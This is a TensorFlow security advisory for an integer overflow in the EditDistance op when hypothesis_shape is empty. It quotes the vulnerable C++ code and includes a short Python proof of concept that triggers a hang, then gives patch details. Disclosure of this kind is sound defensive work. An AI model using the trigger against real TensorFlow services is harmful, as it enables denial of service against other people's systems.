GHSA-7jvm-xxmr-v5cw: TensorFlow vulnerable to integer overflow in EditDistance
Impact
TFversion 2.11.0 //tensorflow/core/ops/array_ops.cc:1067 const Tensor* hypothesis_shape_t = c->input_tensor(2); std::vector<DimensionHandle> dims(hypothesis_shape_t->NumElements() - 1); for (int i = 0; i < dims.size(); ++i) { dims[i] = c->MakeDim(std::max(h_values(i), t_values(i))); }
if hypothesis_shape_t is empty, hypothesis_shape_t->NumElements() - 1 will be integer overflow, and the it will deadlock
import tensorflow as tf
para={
'hypothesis_indices': [[]],
'hypothesis_values': ['tmp/'],
'hypothesis_shape': [],
'truth_indices': [[]],
'truth_values': [''],
'truth_shape': [],
'normalize': False
}
tf.raw_ops.EditDistance(**para)
Patches
We have patched the issue in GitHub commit 08b8e18643d6dcde00890733b270ff8d9960c56c.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
